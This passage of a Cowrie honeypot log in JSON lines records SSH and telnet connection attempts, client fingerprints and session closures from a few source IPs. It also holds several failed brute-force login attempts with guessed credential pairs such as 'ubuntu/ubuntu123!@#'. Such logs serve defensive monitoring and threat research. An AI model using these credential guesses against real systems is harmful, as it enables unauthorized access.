diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:54.730476Z","src_ip":"43.165.185.71","session":"ca7bde6186c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123!@#","message":"login attempt [ubuntu/ubuntu123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:55.506617Z","src_ip":"43.165.185.71","session":"ca7bde6186c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35548,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc7a475dbf3d","protocol":"telnet","message":"New connection: 64.227.101.30:35548 (10.17.0.5:23) [session: cc7a475dbf3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:56.042228Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:56.696896Z","src_ip":"43.165.185.71","session":"ca7bde6186c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.63.56.54","src_port":50422,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1ac18c90767","protocol":"telnet","message":"New connection: 20.63.56.54:50422 (159.203.135.109:23) [session: b1ac18c90767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:57.156524Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37306,"dst_ip":"10.17.0.5","dst_port":23,"session":"5094eb973444","protocol":"telnet","message":"New connection: 64.227.101.30:37306 (10.17.0.5:23) [session: 5094eb973444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:23:58.199649Z"}
{"eventid":"cowrie.session.closed","duration":50.789432525634766,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:01.776629Z","src_ip":"64.227.101.30","session":"df32284e9daa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":45200,"dst_ip":"159.203.135.109","dst_port":23,"session":"f047944505dc","protocol":"telnet","message":"New connection: 68.183.198.12:45200 (159.203.135.109:23) [session: f047944505dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:03.005021Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40178,"dst_ip":"10.17.0.5","dst_port":23,"session":"464249cdea47","protocol":"telnet","message":"New connection: 64.227.101.30:40178 (10.17.0.5:23) [session: 464249cdea47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:03.222627Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37874,"dst_ip":"10.17.0.5","dst_port":23,"session":"5eaf21f83c0a","protocol":"telnet","message":"New connection: 64.227.101.30:37874 (10.17.0.5:23) [session: 5eaf21f83c0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:03.235942Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40300,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c1b24d9e8c0","protocol":"telnet","message":"New connection: 64.227.101.30:40300 (10.17.0.5:23) [session: 2c1b24d9e8c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:03.406835Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":51602,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9248338144b","protocol":"ssh","message":"New connection: 200.118.150.20:51602 (159.203.135.109:22) [session: b9248338144b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:03.841729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:03.847045Z","src_ip":"200.118.150.20","session":"b9248338144b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:03.934452Z","src_ip":"200.118.150.20","session":"b9248338144b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.55683612823486,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:04.322834Z","src_ip":"64.227.101.30","session":"1b73174142ae","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"testing1","password":"testing1","message":"login attempt [testing1/testing1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:04.464777Z","src_ip":"200.118.150.20","session":"b9248338144b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:05.554594Z","src_ip":"200.118.150.20","session":"b9248338144b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":39838,"dst_ip":"10.17.0.5","dst_port":23,"session":"c84f9390d4d2","protocol":"telnet","message":"New connection: 64.227.101.30:39838 (10.17.0.5:23) [session: c84f9390d4d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:10.755912Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.63.56.54","src_port":42222,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6e65f3e743f","protocol":"telnet","message":"New connection: 20.63.56.54:42222 (159.203.135.109:23) [session: b6e65f3e743f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:10.982901Z"}
{"eventid":"cowrie.session.closed","duration":46.79103469848633,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:12.381225Z","src_ip":"68.183.198.12","session":"e9503833293f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":46084,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e1132a4a876","protocol":"telnet","message":"New connection: 68.183.198.12:46084 (159.203.135.109:23) [session: 4e1132a4a876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:12.658393Z"}
{"eventid":"cowrie.session.closed","duration":37.24458622932434,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:12.794535Z","src_ip":"64.227.101.30","session":"7b24fc51e698","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.412099361419678,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:14.263138Z","src_ip":"64.227.101.30","session":"2ae25cf6318a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":48684,"dst_ip":"10.17.0.5","dst_port":23,"session":"058a706b49bd","protocol":"telnet","message":"New connection: 64.227.101.30:48684 (10.17.0.5:23) [session: 058a706b49bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:18.080906Z"}
{"eventid":"cowrie.session.closed","duration":64.51200103759766,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:19.196087Z","src_ip":"64.227.101.30","session":"13f85e98e608","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":47970,"dst_ip":"10.17.0.5","dst_port":23,"session":"256d17969a8a","protocol":"telnet","message":"New connection: 64.227.101.30:47970 (10.17.0.5:23) [session: 256d17969a8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:19.725632Z"}
{"eventid":"cowrie.session.closed","duration":37.13468933105469,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:19.982505Z","src_ip":"64.227.101.30","session":"2a9c81bca559","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0017900466919,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:20.470210Z","src_ip":"64.227.101.30","session":"2d905956251e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.58911418914795,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:20.489049Z","src_ip":"64.227.101.30","session":"e7f16b23344f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0022828578949,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:21.190874Z","src_ip":"64.227.101.30","session":"03fdea239f5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":49916,"dst_ip":"10.17.0.5","dst_port":23,"session":"36b2f8ab4e15","protocol":"telnet","message":"New connection: 64.227.101.30:49916 (10.17.0.5:23) [session: 36b2f8ab4e15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:23.336105Z"}
{"eventid":"cowrie.session.closed","duration":31.99985098838806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:25.091285Z","src_ip":"64.227.101.30","session":"7dcfe77b4827","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52690,"dst_ip":"10.17.0.5","dst_port":23,"session":"775c60e24b24","protocol":"telnet","message":"New connection: 64.227.101.30:52690 (10.17.0.5:23) [session: 775c60e24b24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:26.524003Z"}
{"eventid":"cowrie.session.closed","duration":30.921789407730103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:28.078169Z","src_ip":"20.63.56.54","session":"b1ac18c90767","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.47950744628906,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:31.292254Z","src_ip":"64.227.101.30","session":"f4b1db4f883a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.69583988189697,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:31.737967Z","src_ip":"64.227.101.30","session":"cc7a475dbf3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":50226,"dst_ip":"159.203.135.109","dst_port":23,"session":"3272affed715","protocol":"telnet","message":"New connection: 68.183.198.12:50226 (159.203.135.109:23) [session: 3272affed715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:35.737196Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":57836,"dst_ip":"10.17.0.5","dst_port":23,"session":"72a1e5365174","protocol":"telnet","message":"New connection: 64.227.101.30:57836 (10.17.0.5:23) [session: 72a1e5365174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:37.702854Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":51562,"dst_ip":"10.17.0.5","dst_port":23,"session":"43965679fb6d","protocol":"telnet","message":"New connection: 64.227.101.30:51562 (10.17.0.5:23) [session: 43965679fb6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:38.659778Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.63.56.54","src_port":35660,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1d387497bce","protocol":"telnet","message":"New connection: 20.63.56.54:35660 (159.203.135.109:23) [session: b1d387497bce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:40.558852Z"}
{"eventid":"cowrie.session.closed","duration":37.603901624679565,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:40.826147Z","src_ip":"64.227.101.30","session":"464249cdea47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08272099494934,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:42.065533Z","src_ip":"20.63.56.54","session":"b6e65f3e743f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.644776344299316,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:42.880553Z","src_ip":"64.227.101.30","session":"5eaf21f83c0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.66497468948364,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:46.864464Z","src_ip":"64.227.101.30","session":"5094eb973444","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":59762,"dst_ip":"10.17.0.5","dst_port":23,"session":"691368f3a0a3","protocol":"telnet","message":"New connection: 64.227.101.30:59762 (10.17.0.5:23) [session: 691368f3a0a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:47.563006Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":50580,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee68ea7488d6","protocol":"telnet","message":"New connection: 68.183.198.12:50580 (159.203.135.109:23) [session: ee68ea7488d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:47.827644Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.63.56.54","src_port":60590,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c7943a42586","protocol":"telnet","message":"New connection: 20.63.56.54:60590 (159.203.135.109:23) [session: 7c7943a42586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:48.139276Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.185.71","src_port":51296,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a4bf65b5cfd","protocol":"ssh","message":"New connection: 43.165.185.71:51296 (10.17.0.5:22) [session: 6a4bf65b5cfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:51.403873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:51.409924Z","src_ip":"43.165.185.71","session":"6a4bf65b5cfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:51.578113Z","src_ip":"43.165.185.71","session":"6a4bf65b5cfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.8527767658233643,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:51.680119Z","src_ip":"68.183.198.12","session":"ee68ea7488d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.84112596511841,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:51.845978Z","src_ip":"68.183.198.12","session":"f047944505dc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali!@#","message":"login attempt [ali/ali!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:52.289580Z","src_ip":"43.165.185.71","session":"6a4bf65b5cfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.45030331611633,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:52.857037Z","src_ip":"64.227.101.30","session":"2c1b24d9e8c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.223771810531616,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:53.304538Z","src_ip":"64.227.101.30","session":"058a706b49bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:53.469384Z","src_ip":"43.165.185.71","session":"6a4bf65b5cfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.63.56.54","src_port":60600,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb795f06224b","protocol":"telnet","message":"New connection: 20.63.56.54:60600 (159.203.135.109:23) [session: cb795f06224b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:54.591979Z"}
{"eventid":"cowrie.session.closed","duration":42.89301872253418,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:55.551316Z","src_ip":"68.183.198.12","session":"4e1132a4a876","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.63.56.54","src_port":48970,"dst_ip":"159.203.135.109","dst_port":23,"session":"43b7548cd5b3","protocol":"telnet","message":"New connection: 20.63.56.54:48970 (159.203.135.109:23) [session: 43b7548cd5b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:57.114679Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":53142,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e28694889c4","protocol":"telnet","message":"New connection: 68.183.198.12:53142 (159.203.135.109:23) [session: 5e28694889c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:24:57.215282Z"}
{"eventid":"cowrie.session.closed","duration":50.11418676376343,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:00.869995Z","src_ip":"64.227.101.30","session":"c84f9390d4d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":36654,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6cea3f3db93","protocol":"telnet","message":"New connection: 64.227.101.30:36654 (10.17.0.5:23) [session: b6cea3f3db93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:00.964549Z"}
{"eventid":"cowrie.session.closed","duration":37.88633584976196,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:01.222326Z","src_ip":"64.227.101.30","session":"36b2f8ab4e15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.15863537788391,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:02.682522Z","src_ip":"64.227.101.30","session":"775c60e24b24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":55886,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfd9c053e7e1","protocol":"telnet","message":"New connection: 64.227.101.30:55886 (10.17.0.5:23) [session: bfd9c053e7e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:04.779105Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":54598,"dst_ip":"159.203.135.109","dst_port":23,"session":"8967c81a71e6","protocol":"telnet","message":"New connection: 68.183.198.12:54598 (159.203.135.109:23) [session: 8967c81a71e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:07.413207Z"}
{"eventid":"cowrie.session.closed","duration":3.8330748081207275,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:08.612076Z","src_ip":"64.227.101.30","session":"bfd9c053e7e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":54560,"dst_ip":"159.203.135.109","dst_port":23,"session":"e948858f129f","protocol":"telnet","message":"New connection: 68.183.198.12:54560 (159.203.135.109:23) [session: e948858f129f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:10.205536Z"}
{"eventid":"cowrie.session.closed","duration":30.49448585510254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:11.053226Z","src_ip":"20.63.56.54","session":"b1d387497bce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.0796821117401123,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:12.285014Z","src_ip":"68.183.198.12","session":"e948858f129f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.731484174728394,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:12.456995Z","src_ip":"64.227.101.30","session":"256d17969a8a","protocol":"telnet"}
